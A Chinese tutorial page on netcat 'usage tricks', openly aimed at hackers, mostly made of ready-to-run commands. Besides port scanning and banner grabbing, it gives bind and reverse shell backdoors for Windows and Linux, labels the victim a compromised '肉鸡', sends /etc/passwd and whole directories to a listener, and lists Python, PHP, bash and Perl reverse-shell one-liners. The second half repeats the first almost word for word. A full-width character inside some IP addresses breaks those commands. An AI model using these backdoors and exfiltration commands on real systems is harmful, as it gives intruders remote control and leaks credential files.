zl程序教程

您现在的位置是:首页 >  .Net

当前栏目

NetCat 工具的常用使用技巧

2023-02-18 16:45:48 时间

netcat 黑客们的瑞士军刀,虽然小巧但是其功能一点也不弱,并且该工具天生免杀,值得你去尝试。

NCwindows反弹

1:正向连接
服务器执行:nc -l -p 8888 -e cmd.exe
本地主机执行:nc -vv 服务器ip 8888

2:反向连接
服务器执行:nc -e cmd.exe 公网ip 8888
公网主机执行:nc -lvp 8888

帮助信息

[root@localhost ~]# nc -help

-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助; 
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入/输出模式,只在扫描通信端口时使用。

远程端口探测 连接远程主机的80端口,并获取到该端口的版本信息

lyshark@dell:~$ nc -nv 192.168.1.20 80

实现快速端口扫描 扫描目标主机开放的端口,例如从 70-100 那个端口是开放的

lyshark@dell:~$ nc -nvv -w2 -z 192.168.1.20 70-100        TCP扫描
lyshark@dell:~$ nc -nvv -w2 -z -u 192.168.1.20 70-100     UDP扫描

正向连接后门 正向连接后门,创建正向连接后门,无法过墙

[root@localhost ~]# nc -l -p 9999 -e /bin/sh      肉鸡执行
lyshark@dell:~$ nc -nv 192.168.1.20 9999          服务端执行

反向连接后门 反向连接后门,推荐使用。

[root@localhost ~]# nc -t -e /bin/sh 192.168.1.2 9999

服务端执行 nc -l -p 9999

远程传输文件 远程传输问渐渐,同理,这里不截图了。

[root@localhost ~]# nc 192.168.1.2 9999 < /etc/passwd
lyshark@dell:~/w$ nc -l 9999 > passwd.log

远程传输目录

lyshark@dell:~/w$ nc -l 9999 | tar xzvf -             
[root@localhost etc]# tar -czf - * | nc 192.168.1.2 9999

Python 反弹端口

[root@localhost ~]# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

lyshark@dell:~$ nc -lvp 9999

其他反弹端口

php -r '$sock=fsockopen("192.168.1.2",9999);exec("/bin/sh -i <&3 >&3 2>&3");'    php 反弹
bash -i>&/dev/tcp/192.168.1。2/9999 0>&1                                        bash 反弹                        
perl -e 'use Socket;$i="192.168.1。2";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'   perl反弹

# 连接远程主机的80端口,并获取到该端口的版本信息
lyshark@dell:~$ nc -nv 192.168.1.20 80

# 扫描目标主机开放的端口,从70-100 那个端口是开放的
lyshark@dell:~$ nc -nvv -w2 -z 192.168.1.20 70-100         TCP扫描
lyshark@dell:~$ nc -nvv -w2 -z -u 192.168.1.20 70-100     UDP扫描

# 正向连接后门,创建正向连接后门,无法过墙
[root@localhost ~]# nc -l -p 9999 -e /bin/sh      肉鸡执行
lyshark@dell:~$ nc -nv 192.168.1.20 9999          服务端执行

# 反向连接后门
[root@localhost ~]# nc -t -e /bin/sh 192.168.1.2 9999
lyshark@dell:~$ nc -l -p 9999

#远程传输文件
[root@localhost ~]# nc 192.168.1.2 9999 < /etc/passwd
lyshark@dell:~/w$ nc -l 9999 > passwd.log

# 远程传输目录
lyshark@dell:~/w$ nc -l 9999 | tar xzvf -             
[root@localhost etc]# tar -czf - * | nc 192.168.1.2 9999

# Python 反弹nc端口
[root@localhost ~]# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
lyshark@dell:~$ nc -lvp 9999

# 其他反弹端口
php -r '$sock=fsockopen("192.168.1.2",9999);exec("/bin/sh -i <&3 >&3 2>&3");'    php 反弹
bash -i>&/dev/tcp/192.168.1。2/9999 0>&1                                        bash 反弹                        
perl -e 'use Socket;$i="192.168.1。2";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'   perl反弹